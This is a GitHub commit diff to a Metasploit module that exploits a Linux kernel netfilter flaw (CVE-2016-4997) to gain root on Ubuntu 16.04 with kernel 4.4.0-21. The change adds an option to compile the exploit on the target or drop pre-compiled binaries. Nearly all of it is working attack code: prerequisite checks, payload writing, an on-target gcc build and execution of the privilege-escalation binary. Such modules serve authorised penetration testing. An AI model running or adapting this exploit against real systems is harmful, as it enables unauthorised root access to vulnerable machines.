Skip to content

Commit 7646771

Browse files
committed
refactored for live compile or drop binary
1 parent edd1704 commit 7646771

File tree

1 file changed

+73
-35
lines changed

1 file changed

+73
-35
lines changed

modules/exploits/linux/local/netfilter_priv_esc.rb

Lines changed: 73 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,11 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
1818
'Description' => %q{
19-
This module attempts to exploit a netfilter bug on Linux Kenrels befoe 4.6.3, and currently
19+
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
2020
only works against Ubuntu 16.04 (not 16.04.1) with kernel
21-
4.4.0-21-generic. Several conditions have to be met for successful exploitation:
21+
4.4.0-21-generic.
22+
Several conditions have to be met for successful exploitation:
23+
Ubuntu:
2224
1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such)
2325
2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile
2426
Kernel 4.4.0-31-generic and newer are not vulnerable.
@@ -53,7 +55,8 @@ def initialize(info = {})
5355
[
5456
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
5557
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
56-
OptBool.new('REEXPLOIT', [true, 'desc already ran, no need to re-run, skip to running pwn',false])
58+
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
59+
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
5760
], self.class)
5861
end
5962

@@ -84,18 +87,51 @@ def iptables_loaded?()
8487
end
8588
end
8689

87-
def libs_installed?()
88-
# user@ubuntu:~$ dpkg --get-selections | grep libc6-dev-i386
89-
# libc6-dev-i386 install
90-
vprint_status('Checking if 32bit C libraries are installed')
90+
def shemsham_installed?()
91+
# we want this to be false.
92+
vprint_status('Checking if shem or sham are installed')
93+
shemsham = cmd_exec('cat /proc/cpuinfo')
94+
if shemsham.include?('shem')
95+
print_error('shem installed, system not vulnerable.')
96+
elsif shemsham.include?('sham')
97+
print_error('sham installed, system not vulnerable.')
98+
else
99+
vprint_good('shem and sham not present.')
100+
end
101+
return (shemsham.include?('shem') or shemsham.include?('sham'))
102+
end
103+
104+
if iptables_loaded?() and not shemsham_installed?()
105+
return CheckCode::Appears
106+
else
107+
return CheckCode::Safe
108+
end
109+
end
110+
111+
def exploit
112+
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
113+
def has_prereqs?()
114+
vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed')
91115
if target.name == "Ubuntu"
92116
lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386')
93117
if lib.include?('install')
94118
vprint_good('libc6-dev-i386 is installed')
95119
else
96120
print_error('libc6-dev-i386 is not installed. Compiling will fail.')
97121
end
98-
return lib.include?('install')
122+
multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib')
123+
if multilib.include?('install')
124+
vprint_good('gcc-multilib is installed')
125+
else
126+
print_error('gcc-multilib is not installed. Compiling will fail.')
127+
end
128+
gcc = cmd_exec('which gcc')
129+
if gcc.include?('gcc')
130+
vprint_good('gcc is installed')
131+
else
132+
print_error('gcc is not installed. Compiling will fail.')
133+
end
134+
return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install')
99135
elsif target.name == "Fedora"
100136
lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'')
101137
if lib.include?('glibc')
@@ -108,34 +144,26 @@ def libs_installed?()
108144
else
109145
print_error('libgcc.i686 is not installed. Compiling will fail.')
110146
end
111-
return (lib.include?('glibc') and lib.include?('libgcc'))
147+
multilib = false #not implemented
148+
gcc = false #not implemented
149+
return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib
112150
else
113151
return false
114152
end
115153
end
116154

117-
def shemsham_installed?()
118-
# we want this to be false.
119-
vprint_status('Checking if shem or sham are installed')
120-
shemsham = cmd_exec('cat /proc/cpuinfo')
121-
if shemsham.include?('shem')
122-
print_error('shem installed, system not vulnerable.')
123-
elsif shemsham.include?('sham')
124-
print_error('sham installed, system not vulnerable.')
155+
compile = false
156+
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
157+
if has_prereqs?()
158+
compile = true
159+
vprint_status('Live compiling exploit on system')
125160
else
126-
vprint_good('shem and sham not present.')
161+
vprint_status('Dropping pre-compiled exploit on system')
127162
end
128-
return (shemsham.include?('shem') or shemsham.include?('sham'))
129163
end
130-
131-
if libs_installed?() and iptables_loaded?() and not shemsham_installed?()
132-
return CheckCode::Appears
133-
else
134-
return CheckCode::Safe
164+
if check != CheckCode::Appears
165+
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
135166
end
136-
end
137-
138-
def exploit
139167

140168
desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
141169
env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
@@ -144,19 +172,20 @@ def exploit
144172
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
145173

146174
# direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here
175+
# removed #include <netinet/in.h> per busterb comment in PR 7326
147176
decr = %q{
148177
#define _GNU_SOURCE
149178
#include <stdio.h>
150179
#include <stdlib.h>
151180
#include <string.h>
152181
#include <unistd.h>
153182
#include <sched.h>
183+
#include <netinet/in.h>
154184
#include <linux/sched.h>
155185
#include <errno.h>
156186
#include <sys/types.h>
157187
#include <sys/socket.h>
158188
#include <sys/ptrace.h>
159-
#include <netinet/in.h>
160189
#include <net/if.h>
161190
#include <linux/netfilter_ipv4/ip_tables.h>
162191
#include <linux/netlink.h>
@@ -315,28 +344,37 @@ def exploit
315344
pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/,
316345
"execl(\"#{payload_path}\", NULL);")
317346

318-
if check != CheckCode::Appears
319-
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
320-
end
321-
322347
def pwn(payload_path, pwn_file, pwn)
323348
# lets write our payload since everythings set for priv esc
324349
vprint_status("Writing payload to #{payload_path}")
325350
write_file(payload_path, generate_payload_exe)
326351
cmd_exec("chmod 555 #{payload_path}")
327-
#register_file_for_cleanup(payload_path)
352+
register_file_for_cleanup(payload_path)
328353

329354
# now lets drop part 2, and finish up.
330355
print_status "Writing pwn executable to #{pwn_file}.c"
331356
rm_f pwn_file
332357
rm_f "#{pwn_file}.c"
333358
write_file("#{pwn_file}.c", pwn)
334359
cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}")
335-
#register_file_for_cleanup("#{pwn_file}.c")
336-
#register_file_for_cleanup(pwn_file)
360+
register_file_for_cleanup("#{pwn_file}.c")
361+
register_file_for_cleanup(pwn_file)
337362
cmd_exec("chmod +x #{pwn_file}; #{pwn_file}")
338363
end
339364

365+
if not compile # we need to override with our pre-created binary
366+
# pwn file
367+
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-2')
368+
fd = ::File.open( path, "rb")
369+
pwn = fd.read(fd.stat.size)
370+
fd.close
371+
# desc file
372+
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-1')
373+
fd = ::File.open( path, "rb")
374+
decr = fd.read(fd.stat.size)
375+
fd.close
376+
end
377+
340378
# check for shortcut
341379
if datastore['REEXPLOIT']
342380
pwn(payload_path, pwn_file, pwn)

0 commit comments

Comments
 (0)